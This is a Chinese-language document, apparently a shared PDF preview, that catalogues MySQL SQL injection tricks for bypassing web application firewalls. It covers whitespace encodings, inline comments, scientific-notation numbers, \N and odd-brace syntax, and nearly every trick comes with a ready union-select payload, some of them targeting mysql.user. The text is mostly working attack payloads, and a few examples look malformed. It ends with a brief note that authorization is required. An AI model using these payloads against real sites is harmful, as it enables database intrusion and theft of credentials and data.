第05篇:WAF Bypass数据库特性(Mysql探索篇)1

preview
需积分: 0 1 下载量 123 浏览量 更新于2022-08-03 收藏 320KB PDF 举报
### WAF Bypass数据库特性(Mysql探索篇) #### 0x01 前言 在渗透测试或安全研究领域,绕过Web应用防火墙(WAF)是一项常见的技术挑战。WAF作为网站安全的第一道防线,通常会拦截并阻止恶意请求。然而,通过对SQL注入攻击中的特殊字符进行巧妙利用,可以绕过这些防御机制。本文将重点介绍在MySQL环境中进行WAF绕过的几种方法,特别是利用空白字符、注释符和特殊格式来绕过WAF的策略。 #### 0x02 测试与技巧 ##### 位置一:参数和union之间的位置 - **常见形式**:使用`/**/`或`/*!50000union*/`等形式。 - 示例:`SELECT * FROM admin WHERE username = 1 /**/ union select 1,user() from admin` - **空白字符**:利用MySQL支持的一些特殊空白字符来规避检测。 - 支持的空白字符包括:`%09`, `%0a`, `%0b`, `%0c`, `%0d`, `%20`, `%a0`等。 - 示例:`SELECT * FROM admin WHERE username = 1%0a union select 1,user() from admin` - **浮点数形式**:将整数转化为浮点数表示,如`1.1`。 - 示例:`SELECT * FROM admin WHERE username = 1.1 union select 1,user() from admin` - **1E0的形式**:使用科学计数法表示数字,如`1E0`。 - 示例:`SELECT * FROM admin WHERE username = 1E0 union select 1,user() from admin` - **\Nunion的形式**:使用`\N`代替数字。 - 示例:`SELECT * FROM admin WHERE username = \N union select 1,user() from admin` ##### 位置二:union和select之间的位置 - **内联注释**:通过使用`/*!12345union*/`这样的内联注释。 - 示例:`SELECT * FROM admin WHERE username = 1 /*!12345union*/ select 1,user() from admin` - **换行符绕过**:利用换行符来分割命令,例如`%23%0a`或`%2d%2d%0a`。 - 示例:`SELECT * FROM admin WHERE username = 1%23%0a union select 1,user() from admin` - **Mysql黑魔法**:通过使用非标准语法来混淆WAF。 - 示例:`SELECT * FROM admin WHERE username = 1 union select{x user} from{x mysql.user}` - **其他特殊字符**:使用一些特殊的字符组合,如`%1%20`、`%3920`、`%40%20`等。 - 示例:`SELECT * FROM admin WHERE username = 1%1%20union select 1,user() from admin` ##### 位置三:select和查询参数之间的位置 - **空白字符**:再次利用上述提到的空白字符。 - 示例:`SELECT * FROM admin WHERE username = 1 union select%091,user() from admin` - **注释符**:使用内联注释,如`/*!12345select*/`。 - 示例:`SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin` - **其他字符**:使用一些特殊字符,如叹号(`%21`)、加号(`%2b`)、减号(`%2d`)、电子邮件符号(`%40`)和波浪号(`%7e`)。 - 示例:`SELECT * FROM admin WHERE username = 1 union select%7e1,user() from admin` - **括号**:利用括号来改变表达式的结构。 - 示例:`SELECT * FROM admin WHERE username = 1 union select(1),user() from admin` - **内联注释+特殊字符**:结合使用内联注释和特殊字符。 - 示例:`SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin` - **特殊字符组合**:使用`@`、`{`、双引号(`"`)和`\N`等特殊字符。 - 示例:`SELECT * FROM admin WHERE username = 1 union select@ 1 ,user() from admin` ##### 位置四:查询参数和from之间的位置 - **空白字符**:继续利用之前提到的空白字符。 - 示例:`SELECT * FROM admin WHERE username = 1 union%a0select 1,user() from admin` - **注释符**:使用内联注释。 - 示例:`SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin` 以上介绍的各种技巧均是为了展示如何利用MySQL特有的语法特性来规避WAF的检测。需要注意的是,这些技巧在实际操作中可能会因为不同的WAF规则而有所不同。因此,在进行安全测试时,应根据实际情况灵活调整策略。此外,进行此类测试前,务必确保拥有合法授权,并遵循相关的法律法规。